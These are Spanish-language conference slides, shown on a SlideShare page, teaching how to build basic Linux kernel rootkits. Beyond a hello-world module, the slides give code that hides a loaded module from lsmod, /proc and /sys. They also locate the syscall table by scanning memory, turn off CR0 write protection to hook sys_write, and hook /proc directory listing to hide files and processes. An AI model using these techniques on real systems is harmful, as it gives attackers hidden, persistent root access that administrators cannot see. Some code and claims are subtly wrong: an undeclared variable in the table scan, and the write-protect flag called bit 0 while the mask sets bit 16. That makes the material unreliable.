SlideShare uma empresa Scribd logo
1 de 26
Baixar para ler offline
Building Basics Rootkits
Building Basics Rootkits
Attack Strategies
NataS::: The Lord of Chaos
Marcos Ricardo Schejtman Rubio
18 de Abril de 2013
Building Basics Rootkits
Contents
1 Introducci´on
¿Qu´e es un Rootkit?
Tipos de Rootkits
Funciones Comunes de Rootkits
2 Manos a la Obra
Consideraciones
Primeros Pasos
Ejercicio: Hello World Module
Manejando Parametros
3 T´opicos Avanzados
Trabajando con la Estructura de Tareas
Escondiendo nuestros pasos
Building Basics Rootkits
Introducci´on
¿Qu´e es un Rootkit?
¿Qu´e es un Rootkit?
Un rootkit (seg´un Wikipedia), se puede definir como:
Un programa que permite un acceso de privilegio
continuo a una computadora pero que mantiene su
presencia activamente oculta al control de los
administradores al corromper el funcionamiento normal
del sistema operativo o de otras aplicaciones.
Building Basics Rootkits
Introducci´on
Tipos de Rootkits
Tipos de Rootkits
Practicamente podemos hablar de dos tipos de rootkits:
1 Rootkits en Espacio de Usuario, Los cuales corren en
Ring-3, y modifican librer´ıas, o archivos de configuraci´on, e
inclusive ejecutables (ls, ps, etc).
2 Rootkits en Espacio de Kernel, Los cuales corren en
Ring-0, y modifican estructuras del kernel, atrapan llamadas
de sistema (hijacking syscall-table), etc. Podemos tenerlos
como LKM’s o como patch al kernel corriendo /dev/kmem
Building Basics Rootkits
Introducci´on
Funciones Comunes de Rootkits
Funciones Comunes de Rootkits
Esconder Procesos
Esconder Archivos
Esconder Conexiones de Red
Backdoors
Keyloggers
Darnos acceso a root
Building Basics Rootkits
Manos a la Obra
Consideraciones
Consideraciones
Las diferencias m´as importantes entre un desarrollo a n´ıvel kernel o
espacio usuario son:
El kernel carece de protecci´on de memoria... algo que se
ofrece en el espacio de usuario.
El kernel no puede ejecutar de manera sencilla operaciones en
punto flotante.
El kernel tiene un espacio en pila muy reducido por proceso.
Debido a la naturaleza as´ıncrona de las interrupciones del
kernel, la concurrencia es de los temas a poner mas ´enfasis al
desarrollar (Race-Conditions).
La portabilidad... entre versi´on y versi´on de n´ucleo.
Building Basics Rootkits
Manos a la Obra
Primeros Pasos
Primeros Pasos
Algunas Macros importantes:
module init();
module exit();
MODULE LICENSE(”GPL”);
MODULE AUTHOR(”NataS”);
MODULE DESCRIPTION(”My LKM”);
Building Basics Rootkits
Manos a la Obra
Ejercicio: Hello World Module
Hello World
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
static int hello_init(void) {
printk(KERN_ALERT "Hello GuadalajaraCon! My first LKM.n");
return 0;
}
static void hello_exit(void) {
printk(KERN_ALERT "Goodbye GuadalajaraCon!n");
}
module_init(hello_init);
module_exit(hello_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("NataS");
MODULE_DESCRIPTION("My First LKM");
Building Basics Rootkits
Manos a la Obra
Ejercicio: Hello World Module
Hello World
Nuestro Makefile:
obj-m := modulo.o
Y Compilamos como:
make -C /lib/modules/$(uname -r)/build
SUBDIRS=$PWD modules
Cargamos nuestro m´odulo
insmod modulo.ko
Listamos nuestro m´odulo
lsmod | grep modulo
Eliminamos nuestro m´odulo
rmmod modulo.ko
Building Basics Rootkits
Manos a la Obra
Manejando Parametros
Manejando Parametros
Los par´ametros se mandan cuando arrancamos el m´odulo de la
forma:
insmod modulo param1=valor1 param2=valor2
Para definir los par´ametros, primero declaramos variables y las
pasamos a la macro:
module_param(nombre, tipo, permisos)
module_param_string(nombre,variable, longitud, permisos);
Permisos son los definidos en sysfs, y afectan las entradas del
modulo en /sys/module
Building Basics Rootkits
Manos a la Obra
Manejando Parametros
Ejercicio: Name and Age
static char myName[50];
module_param_string(name, myName, 50, 0);
static int age = 1;
module_param(age, int, 0);
...
printk(KERN_ALERT "Hi! %s, your age: %i", myName, age);
Building Basics Rootkits
T´opicos Avanzados
Trabajando con la Estructura de Tareas
Trabajando con la Estructura de Tareas
El kernel de linux contiene una lista enlazada (definida en
include/linux/types.h e include/linux/list.h) de tareas, las cuales
son una estructura declarada en include/linux/sched.h.
Building Basics Rootkits
T´opicos Avanzados
Trabajando con la Estructura de Tareas
Trabajando con la Estructura de Tareas
Desde el kernel tenemos acceso directo a la lista de tareas
(task struct), la cual es una lista doblemente enlazada ¿A´un
recuerdan sus clases de programaci´on? Para acceder a la estructura
que contiene informaci´on sobre nuestro proceso, basta con hacer
uso del puntero current
#include <linux/sched.h>
#include <asm/current.h>
static int hello_init(void) {
printk(KERN_ALERT "My Name --> %s and PID -->
%i n", current->comm, current->pid);
return 0;
}
Building Basics Rootkits
T´opicos Avanzados
Trabajando con la Estructura de Tareas
Ejercicio: Get my PID and all others
Usando los c´odigos anteriores... Recorran la lista de tareas y pinten
cada proceso y su PID. Con este acceso pueden intentar esconder
un proceso tambi´en:
Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Hidding Ver.1
El kernel maneja un lista enlazada en la cual, mantiene la
referencia de todos los m´odulos que est´an cargados (lsmod y
/proc leen dicha lista).
Esconder nuestro m´odulo es muy sencillo, en la funci´on de
inicio del m´odulo basta con eliminar la referencia de la lista:
list_del(&THIS_MODULE->list);
Dos problemas con esta primer aproximaci´on:
1 A´un somos detectables desde /sys
2 Al hacer un unload del m´odulo, debido a que no existe en la
lista, se provoca un Oops que genera un kernel panic o crash
del sistema, dejando rastros.
Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Ejercicio: Hide myself
Nos escodemos:
static int hide_init(void) {
printk(KERN_ALERT "Hello World! My first LKM.n");
printk(KERN_ALERT "Let’s get hide myself.n");
list_del(&THIS_MODULE->list);
return 0;
}
Nos buscamos
lsmod | grep modulo
cat /proc/modules | grep modulo
Nos Encontramos
ls /sys/module/modulo
Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Hidding. Ve2
Cada entrada en /sys es un objeto module kobject (definido
en module.h) que internamente tienen una estructura del tipo
kobject (definido en kobject.h).
Examinando el c´odigo del kernel, vemos que en la descarga del
m´odulo, primero debemos eliminarnos de /sys y
posteriormente de la vista.
Hay que tomar en cuenta, que el kernel no libera objetos que
est´en iniciados a NULL
Recomendaciones:
1 Recordar informaci´on previa (prev y next en la lista).
2 Sobreescribir readproc y writeproc
3 Funciones est´aticas para no dejar rastros en /proc/kallsyms
Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Ejercicio: Find Me if You can
static inline void hideme(void) {
list_del(&THIS_MODULE->list);
kobject_del(&THIS_MODULE->mkobj.kobj);
list_del(&THIS_MODULE->mkobj.kobj.entry);
kfree(THIS_MODULE->notes_attrs);
THIS_MODULE->notes_attrs = NULL;
kfree(THIS_MODULE->sect_attrs);
THIS_MODULE->sect_attrs = NULL;
kfree(THIS_MODULE->mkobj.mp);
THIS_MODULE->mkobj.mp = NULL;
THIS_MODULE->modinfo_attrs->attr.name = NULL;
kfree(THIS_MODULE->mkobj.drivers_dir);
THIS_MODULE->mkobj.drivers_dir = NULL;
}
Ahora... busquemos el m´odulo
Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Dinamyc Hijacking
La direcci´on de la sys call table, puede ser encontrada en el archivo
System.map-$(uname -r) ¿Que ocurre cuando ya no existe ese
archivo?
El rango de memoria del kernel en arquitecturas X86 es del
0xc0000000 al 0xffffffff. Ahora bien, para encontrar la sys call table
basta con buscar hasta la 0xd0000000 ¿porque?
CONFIG HIGHMEM.
Para x86 64 podemos encontrar el inicio de la memoria del kernel
en 0xffffffff81000000 y de ahi podemos iterar hasta 0xffffffffffffffff,
es de destacar que igual que en la arquitectura de 32Bits, no
debemos iterar todas las direcciones, basta iterar hasta
0xffffffff81ffffff.
Finalmente... solo basta comparar alguna sys call cuyos s´ımbolos se
exporten, sys close por ejemplo.
Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Dinamyc Hijacking
#if defined __x86_64__
#define START_MEM 0xffffffff81000000
#define END_MEM 0xffffffff81ffffff
#else
#define START_MEM 0xc0000000
#define END_MEM 0xd0000000
#endif
unsigned long **find_syscalltable() {
unsigned long **syscalltable;
unsigned long int i = START_MEM;
while ( i < END_MEM) {
sctable = (unsigned long **)i;
if ( syscalltable[__NR_close] == (unsigned long *)sys_close) {
return &syscalltable[0];
}
i += sizeof(void *);
}
return NULL;
}
Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Dinamyc Hijacking
Pero la sys call table esta protegida contra escritura ¿o no? Existen
diferentes registros de procesador, el que nos interesa es el cr0. El
kernel nos da dos funciones para manipular este registro: write cr0
y read cr0.
El Bit 0 de este registro maneja el Protected Mode, por ello se
llama WP bit. Solo basta modificar este bit antes y despu´es del
hijacking
write_cr0 (read_cr0 () & (~ 0x10000));
printk(KERN_ALERT "nWrite Protection Disabled XD");
original_write = (void *)syscall_table[__NR_write];
syscall_table[__NR_write] = new_write;
write_cr0 (read_cr0 () | 0x10000);
printk(KERN_ALERT "nWrite Protection Enabled");
/*
0X10000 --> 000...010000000000000000
~(0X10000) --> 111...101111111111111111
*/
Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Hijacking Syscall
Interrupciones a llamadas de sistema se usan para evitar accesos a
procesos o archivos generados por nosotros.
syscall natas_open(pathname, flags, mode) {
if (XXX==XXX)
call open(pathname, flags, mode)
else
printf("Not found");
}
Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Hijacking VFS
Interrupciones a llamadas de sistema se usan para evitar accesos a
procesos o archivos generados por nosotros.
syscall natas_lookup(parent_directory,
pathname, ...) {
if (XXX==XXX)
call real_lookup(parent_directory,
pathname, ...)
else
printf("Error");
}
Building Basics Rootkits
T´opicos Avanzados
Escondiendo nuestros pasos
Hijacking VFS
struct inode *pinode;
const struct file_operations *proc_original;
static struct file_operations proc_fops;
void hook_proc(struct proc_dir_entry *root) {
struct path proc_path;
if (kern_path("/proc/",0,&proc_path))
return;
pinode = proc_path.dentry->d_inode;
if(!pinode)
return;
proc_fops = *pinode->i_fop;
proc_original = pinode->i_fop;
proc_fops.readdir = natas_lookup;
pinode->i_fop = &proc_fops;
}
Building Basics Rootkits
Referencias
Referencias
Designing BSD Rootkits, Joseph Kong
Linux Kernel Development, Robert Love
Writing Kernel Exploits Paper, Keegan MacAllister
Linux Kernel Crash Book, Igor Ljubuncic
The Rootkits Arsenal, Reverend Bill Blunden
Building Basics Rootkits
The End
Thanks
—————————————————————————–
Autor: Marcos Ricardo Schejtman Rubio
E-Mail: natashell@esdebian.org
E-Mail: natas@ohkasystems.com
Twitter: @natashell666
5EBD 2AEB 5618 4F0C D62C 89D8 C59B 834A 4E19 1537
LATEX para todos

Mais conteúdo relacionado

Mais procurados

Mais procurados (19)

Electrónica digital: lógica programable VHDL parte 2
Electrónica digital: lógica programable VHDL parte 2Electrónica digital: lógica programable VHDL parte 2
Electrónica digital: lógica programable VHDL parte 2
 
Lab5 guia
Lab5 guiaLab5 guia
Lab5 guia
 
Programando en java
Programando en javaProgramando en java
Programando en java
 
Desarrollo de drivers y aplicaciones para FreeRtos
Desarrollo de drivers y aplicaciones para FreeRtosDesarrollo de drivers y aplicaciones para FreeRtos
Desarrollo de drivers y aplicaciones para FreeRtos
 
Procesamiento superescalar
Procesamiento superescalarProcesamiento superescalar
Procesamiento superescalar
 
Diseño formal de máquinas virtuales Java
Diseño formal de máquinas virtuales JavaDiseño formal de máquinas virtuales Java
Diseño formal de máquinas virtuales Java
 
Threads en Java
Threads en JavaThreads en Java
Threads en Java
 
Programación multitarea
Programación multitareaProgramación multitarea
Programación multitarea
 
Serialización de Objetos Java
Serialización de Objetos Java Serialización de Objetos Java
Serialización de Objetos Java
 
Comunicaciones en Java
Comunicaciones en JavaComunicaciones en Java
Comunicaciones en Java
 
Serialización de objetos en java
Serialización de objetos en javaSerialización de objetos en java
Serialización de objetos en java
 
Chap 15apin
Chap 15apinChap 15apin
Chap 15apin
 
Networking
NetworkingNetworking
Networking
 
Java ArrayList Iterator
Java ArrayList IteratorJava ArrayList Iterator
Java ArrayList Iterator
 
Multitarea
MultitareaMultitarea
Multitarea
 
Linux ud7 - gestion de procesos
Linux   ud7 - gestion de procesosLinux   ud7 - gestion de procesos
Linux ud7 - gestion de procesos
 
Tema 2: Procesadores superescalares.
Tema 2: Procesadores superescalares.Tema 2: Procesadores superescalares.
Tema 2: Procesadores superescalares.
 
Traduccion capitulo 9 (completo)
Traduccion capitulo 9 (completo)Traduccion capitulo 9 (completo)
Traduccion capitulo 9 (completo)
 
Librerias java
Librerias javaLibrerias java
Librerias java
 

Destaque

Construyendo rootkits basicos
Construyendo rootkits basicosConstruyendo rootkits basicos
Construyendo rootkits basicosTensor
 
Creacion de un virus en Linux CentOS
Creacion de un virus en Linux CentOSCreacion de un virus en Linux CentOS
Creacion de un virus en Linux CentOSCarlos Sornoza
 
Transformación de la banca con una plataforma ágil, flexible e integrada
Transformación de la banca con una plataforma ágil, flexible e integradaTransformación de la banca con una plataforma ágil, flexible e integrada
Transformación de la banca con una plataforma ágil, flexible e integradaIBMSSA
 
Mejore la atención al ciudadano por medio de la gestión eficiente de los proc...
Mejore la atención al ciudadano por medio de la gestión eficiente de los proc...Mejore la atención al ciudadano por medio de la gestión eficiente de los proc...
Mejore la atención al ciudadano por medio de la gestión eficiente de los proc...IBMSSA
 
Inmodelega Presentación
Inmodelega PresentaciónInmodelega Presentación
Inmodelega PresentaciónInmodelega
 
084 Un Motor De Reglas De Negocio Dinamicas Inserto En El Ecosistema Gene Xus
084 Un Motor De Reglas De Negocio Dinamicas Inserto En El Ecosistema Gene Xus084 Un Motor De Reglas De Negocio Dinamicas Inserto En El Ecosistema Gene Xus
084 Un Motor De Reglas De Negocio Dinamicas Inserto En El Ecosistema Gene XusGeneXus
 
satyam Scandal
 satyam Scandal satyam Scandal
satyam ScandalUmesh Soni
 
BPM Forum - Reglas de Negocio
 BPM Forum - Reglas de Negocio BPM Forum - Reglas de Negocio
BPM Forum - Reglas de NegocioEdgardo Staffolani
 
Fundamentos de la arquitectura de software
Fundamentos de la arquitectura de softwareFundamentos de la arquitectura de software
Fundamentos de la arquitectura de softwareRoger Villegas
 
Expenses management: Avoiding the scandal that has rocked parliament
Expenses management: Avoiding the scandal that has rocked parliamentExpenses management: Avoiding the scandal that has rocked parliament
Expenses management: Avoiding the scandal that has rocked parliamentSoftworld
 
Toshiba Accounting Scandal
Toshiba Accounting ScandalToshiba Accounting Scandal
Toshiba Accounting ScandalLexy Parsons
 
Satyam scandal a full analysis
Satyam scandal a full analysisSatyam scandal a full analysis
Satyam scandal a full analysisRohit Deshmukh
 
Desarrollo de software basado en componentes
Desarrollo de software basado en componentesDesarrollo de software basado en componentes
Desarrollo de software basado en componentesUlises Cruz
 
How to Become a Thought Leader in Your Niche
How to Become a Thought Leader in Your NicheHow to Become a Thought Leader in Your Niche
How to Become a Thought Leader in Your NicheLeslie Samuel
 

Destaque (19)

Construyendo rootkits basicos
Construyendo rootkits basicosConstruyendo rootkits basicos
Construyendo rootkits basicos
 
Creacion de un virus en Linux CentOS
Creacion de un virus en Linux CentOSCreacion de un virus en Linux CentOS
Creacion de un virus en Linux CentOS
 
Rootkit internales
Rootkit internales Rootkit internales
Rootkit internales
 
Transformación de la banca con una plataforma ágil, flexible e integrada
Transformación de la banca con una plataforma ágil, flexible e integradaTransformación de la banca con una plataforma ágil, flexible e integrada
Transformación de la banca con una plataforma ágil, flexible e integrada
 
Mejore la atención al ciudadano por medio de la gestión eficiente de los proc...
Mejore la atención al ciudadano por medio de la gestión eficiente de los proc...Mejore la atención al ciudadano por medio de la gestión eficiente de los proc...
Mejore la atención al ciudadano por medio de la gestión eficiente de los proc...
 
Inmodelega Presentación
Inmodelega PresentaciónInmodelega Presentación
Inmodelega Presentación
 
Rootkit
RootkitRootkit
Rootkit
 
084 Un Motor De Reglas De Negocio Dinamicas Inserto En El Ecosistema Gene Xus
084 Un Motor De Reglas De Negocio Dinamicas Inserto En El Ecosistema Gene Xus084 Un Motor De Reglas De Negocio Dinamicas Inserto En El Ecosistema Gene Xus
084 Un Motor De Reglas De Negocio Dinamicas Inserto En El Ecosistema Gene Xus
 
Plataforma de Soluciones de Negocio
Plataforma de Soluciones de NegocioPlataforma de Soluciones de Negocio
Plataforma de Soluciones de Negocio
 
satyam Scandal
 satyam Scandal satyam Scandal
satyam Scandal
 
BPM Forum - Reglas de Negocio
 BPM Forum - Reglas de Negocio BPM Forum - Reglas de Negocio
BPM Forum - Reglas de Negocio
 
Reglas Negocio
Reglas NegocioReglas Negocio
Reglas Negocio
 
Fundamentos de la arquitectura de software
Fundamentos de la arquitectura de softwareFundamentos de la arquitectura de software
Fundamentos de la arquitectura de software
 
Expenses management: Avoiding the scandal that has rocked parliament
Expenses management: Avoiding the scandal that has rocked parliamentExpenses management: Avoiding the scandal that has rocked parliament
Expenses management: Avoiding the scandal that has rocked parliament
 
Toshiba Accounting Scandal
Toshiba Accounting ScandalToshiba Accounting Scandal
Toshiba Accounting Scandal
 
Satyam scandal a full analysis
Satyam scandal a full analysisSatyam scandal a full analysis
Satyam scandal a full analysis
 
Desarrollo de software basado en componentes
Desarrollo de software basado en componentesDesarrollo de software basado en componentes
Desarrollo de software basado en componentes
 
10 Reglas De Negocios
10 Reglas De Negocios10 Reglas De Negocios
10 Reglas De Negocios
 
How to Become a Thought Leader in Your Niche
How to Become a Thought Leader in Your NicheHow to Become a Thought Leader in Your Niche
How to Become a Thought Leader in Your Niche
 

Semelhante a Desarrollo de rootkits en Linux [GuadalajaraCON 2013]

Semelhante a Desarrollo de rootkits en Linux [GuadalajaraCON 2013] (20)

Evasión de Técnicas Forenses
Evasión de Técnicas ForensesEvasión de Técnicas Forenses
Evasión de Técnicas Forenses
 
procesos
procesosprocesos
procesos
 
Creacion de shellcodes para Exploits en Linux/x86
Creacion de shellcodes para Exploits en Linux/x86 Creacion de shellcodes para Exploits en Linux/x86
Creacion de shellcodes para Exploits en Linux/x86
 
Visual basic .NET
Visual basic .NETVisual basic .NET
Visual basic .NET
 
Cli en routers y switches cisco
Cli en routers y switches ciscoCli en routers y switches cisco
Cli en routers y switches cisco
 
Present3
Present3Present3
Present3
 
El Procesador o CPU 2
El Procesador o CPU 2El Procesador o CPU 2
El Procesador o CPU 2
 
37 supervisión del sistema
37  supervisión del sistema37  supervisión del sistema
37 supervisión del sistema
 
Introducción a PostgreSql
Introducción a PostgreSqlIntroducción a PostgreSql
Introducción a PostgreSql
 
Realidad Aumentada 01 documentacion tapir
Realidad Aumentada 01 documentacion tapirRealidad Aumentada 01 documentacion tapir
Realidad Aumentada 01 documentacion tapir
 
Parcial I de Sistema de Operación – Semestre 201415
Parcial I de Sistema de Operación – Semestre 201415Parcial I de Sistema de Operación – Semestre 201415
Parcial I de Sistema de Operación – Semestre 201415
 
Curso básico linux
Curso básico linuxCurso básico linux
Curso básico linux
 
Microprocesador
MicroprocesadorMicroprocesador
Microprocesador
 
Seguridad so pii_2011
Seguridad so pii_2011Seguridad so pii_2011
Seguridad so pii_2011
 
OpenInfra Meetup 27082019 / Kata Containers
OpenInfra Meetup 27082019 / Kata ContainersOpenInfra Meetup 27082019 / Kata Containers
OpenInfra Meetup 27082019 / Kata Containers
 
Administración de switches
Administración de switchesAdministración de switches
Administración de switches
 
Smtp 2950
Smtp 2950Smtp 2950
Smtp 2950
 
Hide and Find Rootkits in Linux [GuadalajaraCON 2012]
Hide and Find Rootkits in Linux [GuadalajaraCON 2012]Hide and Find Rootkits in Linux [GuadalajaraCON 2012]
Hide and Find Rootkits in Linux [GuadalajaraCON 2012]
 
Hide and Find Rootkits Linux
Hide and Find Rootkits LinuxHide and Find Rootkits Linux
Hide and Find Rootkits Linux
 
Risc Cisc
Risc  CiscRisc  Cisc
Risc Cisc
 

Mais de Websec México, S.C.

Ciberseguridad durante la pandemia [Paulino Calderon]
Ciberseguridad durante la pandemia [Paulino Calderon]Ciberseguridad durante la pandemia [Paulino Calderon]
Ciberseguridad durante la pandemia [Paulino Calderon]Websec México, S.C.
 
OWASP IoTGoat - Enseñando a desarrolladores IoT a crear productos seguros - P...
OWASP IoTGoat - Enseñando a desarrolladores IoT a crear productos seguros - P...OWASP IoTGoat - Enseñando a desarrolladores IoT a crear productos seguros - P...
OWASP IoTGoat - Enseñando a desarrolladores IoT a crear productos seguros - P...Websec México, S.C.
 
Estadisticas de redes 802.11 en Mexico (2013) por Paulino Calderon
Estadisticas de redes 802.11 en Mexico (2013) por Paulino CalderonEstadisticas de redes 802.11 en Mexico (2013) por Paulino Calderon
Estadisticas de redes 802.11 en Mexico (2013) por Paulino CalderonWebsec México, S.C.
 
Derrotando a changos con scanners [Paulino Calderon]
Derrotando a changos con scanners [Paulino Calderon]Derrotando a changos con scanners [Paulino Calderon]
Derrotando a changos con scanners [Paulino Calderon]Websec México, S.C.
 
Old fox new tricks malicious macros are back
Old fox new tricks malicious macros are backOld fox new tricks malicious macros are back
Old fox new tricks malicious macros are backWebsec México, S.C.
 
Explotación de vulnerabilidades recientes de Windows - Agosto 2017
Explotación de vulnerabilidades recientes de Windows - Agosto 2017Explotación de vulnerabilidades recientes de Windows - Agosto 2017
Explotación de vulnerabilidades recientes de Windows - Agosto 2017Websec México, S.C.
 
Mi experiencia en el programa Google Summer of Code
Mi experiencia en el programa Google Summer of CodeMi experiencia en el programa Google Summer of Code
Mi experiencia en el programa Google Summer of CodeWebsec México, S.C.
 
Escribiendo firmas para el sistema de detección de versiones de Nmap
Escribiendo firmas para el sistema de detección de versiones de NmapEscribiendo firmas para el sistema de detección de versiones de Nmap
Escribiendo firmas para el sistema de detección de versiones de NmapWebsec México, S.C.
 
El porqué está fallando tu programa de seguridad informática por Paulino Cald...
El porqué está fallando tu programa de seguridad informática por Paulino Cald...El porqué está fallando tu programa de seguridad informática por Paulino Cald...
El porqué está fallando tu programa de seguridad informática por Paulino Cald...Websec México, S.C.
 
Pwning corporate networks in a single day by Paulino Calderon Pale
Pwning corporate networks in a single day by Paulino Calderon PalePwning corporate networks in a single day by Paulino Calderon Pale
Pwning corporate networks in a single day by Paulino Calderon PaleWebsec México, S.C.
 
CPMX7 Pwneando redes informáticas por Paulino Calderon
CPMX7 Pwneando redes informáticas por Paulino CalderonCPMX7 Pwneando redes informáticas por Paulino Calderon
CPMX7 Pwneando redes informáticas por Paulino CalderonWebsec México, S.C.
 
Dragonjarcon2015 - ¿Cómo programar aplicaciones seguras? por Paulino Calderon...
Dragonjarcon2015 - ¿Cómo programar aplicaciones seguras? por Paulino Calderon...Dragonjarcon2015 - ¿Cómo programar aplicaciones seguras? por Paulino Calderon...
Dragonjarcon2015 - ¿Cómo programar aplicaciones seguras? por Paulino Calderon...Websec México, S.C.
 
Explotación práctica de señales de radio por Luis Colunga
Explotación práctica de señales de radio por Luis ColungaExplotación práctica de señales de radio por Luis Colunga
Explotación práctica de señales de radio por Luis ColungaWebsec México, S.C.
 
Pentesting 101 por Paulino Calderon
Pentesting 101 por Paulino CalderonPentesting 101 por Paulino Calderon
Pentesting 101 por Paulino CalderonWebsec México, S.C.
 
Obtener contraseñas del directorio activo por hkm
Obtener contraseñas del directorio activo por hkmObtener contraseñas del directorio activo por hkm
Obtener contraseñas del directorio activo por hkmWebsec México, S.C.
 
Recuperacion de defaces con versionador Git por Alevsk
Recuperacion de defaces con versionador Git por Alevsk Recuperacion de defaces con versionador Git por Alevsk
Recuperacion de defaces con versionador Git por Alevsk Websec México, S.C.
 
Seguridad en Bitcoin por Luis Daniel Beltran
Seguridad en Bitcoin por Luis Daniel BeltranSeguridad en Bitcoin por Luis Daniel Beltran
Seguridad en Bitcoin por Luis Daniel BeltranWebsec México, S.C.
 
CPMX5 - Hacking like a boss por Roberto Salgado
CPMX5 - Hacking like a boss por Roberto SalgadoCPMX5 - Hacking like a boss por Roberto Salgado
CPMX5 - Hacking like a boss por Roberto SalgadoWebsec México, S.C.
 
CPMX5 - Las nuevas generaciones de redes por Luis Colunga
CPMX5 - Las nuevas generaciones de redes por Luis ColungaCPMX5 - Las nuevas generaciones de redes por Luis Colunga
CPMX5 - Las nuevas generaciones de redes por Luis ColungaWebsec México, S.C.
 

Mais de Websec México, S.C. (20)

Ciberseguridad durante la pandemia [Paulino Calderon]
Ciberseguridad durante la pandemia [Paulino Calderon]Ciberseguridad durante la pandemia [Paulino Calderon]
Ciberseguridad durante la pandemia [Paulino Calderon]
 
OWASP IoTGoat - Enseñando a desarrolladores IoT a crear productos seguros - P...
OWASP IoTGoat - Enseñando a desarrolladores IoT a crear productos seguros - P...OWASP IoTGoat - Enseñando a desarrolladores IoT a crear productos seguros - P...
OWASP IoTGoat - Enseñando a desarrolladores IoT a crear productos seguros - P...
 
Estadisticas de redes 802.11 en Mexico (2013) por Paulino Calderon
Estadisticas de redes 802.11 en Mexico (2013) por Paulino CalderonEstadisticas de redes 802.11 en Mexico (2013) por Paulino Calderon
Estadisticas de redes 802.11 en Mexico (2013) por Paulino Calderon
 
Derrotando a changos con scanners [Paulino Calderon]
Derrotando a changos con scanners [Paulino Calderon]Derrotando a changos con scanners [Paulino Calderon]
Derrotando a changos con scanners [Paulino Calderon]
 
Old fox new tricks malicious macros are back
Old fox new tricks malicious macros are backOld fox new tricks malicious macros are back
Old fox new tricks malicious macros are back
 
Explotación de vulnerabilidades recientes de Windows - Agosto 2017
Explotación de vulnerabilidades recientes de Windows - Agosto 2017Explotación de vulnerabilidades recientes de Windows - Agosto 2017
Explotación de vulnerabilidades recientes de Windows - Agosto 2017
 
Mi experiencia en el programa Google Summer of Code
Mi experiencia en el programa Google Summer of CodeMi experiencia en el programa Google Summer of Code
Mi experiencia en el programa Google Summer of Code
 
Escribiendo firmas para el sistema de detección de versiones de Nmap
Escribiendo firmas para el sistema de detección de versiones de NmapEscribiendo firmas para el sistema de detección de versiones de Nmap
Escribiendo firmas para el sistema de detección de versiones de Nmap
 
El porqué está fallando tu programa de seguridad informática por Paulino Cald...
El porqué está fallando tu programa de seguridad informática por Paulino Cald...El porqué está fallando tu programa de seguridad informática por Paulino Cald...
El porqué está fallando tu programa de seguridad informática por Paulino Cald...
 
Pwning corporate networks in a single day by Paulino Calderon Pale
Pwning corporate networks in a single day by Paulino Calderon PalePwning corporate networks in a single day by Paulino Calderon Pale
Pwning corporate networks in a single day by Paulino Calderon Pale
 
CPMX7 Pwneando redes informáticas por Paulino Calderon
CPMX7 Pwneando redes informáticas por Paulino CalderonCPMX7 Pwneando redes informáticas por Paulino Calderon
CPMX7 Pwneando redes informáticas por Paulino Calderon
 
Dragonjarcon2015 - ¿Cómo programar aplicaciones seguras? por Paulino Calderon...
Dragonjarcon2015 - ¿Cómo programar aplicaciones seguras? por Paulino Calderon...Dragonjarcon2015 - ¿Cómo programar aplicaciones seguras? por Paulino Calderon...
Dragonjarcon2015 - ¿Cómo programar aplicaciones seguras? por Paulino Calderon...
 
Explotación práctica de señales de radio por Luis Colunga
Explotación práctica de señales de radio por Luis ColungaExplotación práctica de señales de radio por Luis Colunga
Explotación práctica de señales de radio por Luis Colunga
 
Pentesting 101 por Paulino Calderon
Pentesting 101 por Paulino CalderonPentesting 101 por Paulino Calderon
Pentesting 101 por Paulino Calderon
 
Obtener contraseñas del directorio activo por hkm
Obtener contraseñas del directorio activo por hkmObtener contraseñas del directorio activo por hkm
Obtener contraseñas del directorio activo por hkm
 
OSINT vs CIBERCRIMEN por nickops
OSINT vs CIBERCRIMEN por nickopsOSINT vs CIBERCRIMEN por nickops
OSINT vs CIBERCRIMEN por nickops
 
Recuperacion de defaces con versionador Git por Alevsk
Recuperacion de defaces con versionador Git por Alevsk Recuperacion de defaces con versionador Git por Alevsk
Recuperacion de defaces con versionador Git por Alevsk
 
Seguridad en Bitcoin por Luis Daniel Beltran
Seguridad en Bitcoin por Luis Daniel BeltranSeguridad en Bitcoin por Luis Daniel Beltran
Seguridad en Bitcoin por Luis Daniel Beltran
 
CPMX5 - Hacking like a boss por Roberto Salgado
CPMX5 - Hacking like a boss por Roberto SalgadoCPMX5 - Hacking like a boss por Roberto Salgado
CPMX5 - Hacking like a boss por Roberto Salgado
 
CPMX5 - Las nuevas generaciones de redes por Luis Colunga
CPMX5 - Las nuevas generaciones de redes por Luis ColungaCPMX5 - Las nuevas generaciones de redes por Luis Colunga
CPMX5 - Las nuevas generaciones de redes por Luis Colunga
 

Último

Refrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdf
Refrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdfRefrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdf
Refrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdfvladimiroflores1
 
PROYECTO FINAL. Tutorial para publicar en SlideShare.pptx
PROYECTO FINAL. Tutorial para publicar en SlideShare.pptxPROYECTO FINAL. Tutorial para publicar en SlideShare.pptx
PROYECTO FINAL. Tutorial para publicar en SlideShare.pptxAlan779941
 
Modulo-Mini Cargador.................pdf
Modulo-Mini Cargador.................pdfModulo-Mini Cargador.................pdf
Modulo-Mini Cargador.................pdfAnnimoUno1
 
Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...
Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...
Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...JohnRamos830530
 
EL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptx
EL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptxEL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptx
EL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptxMiguelAtencio10
 
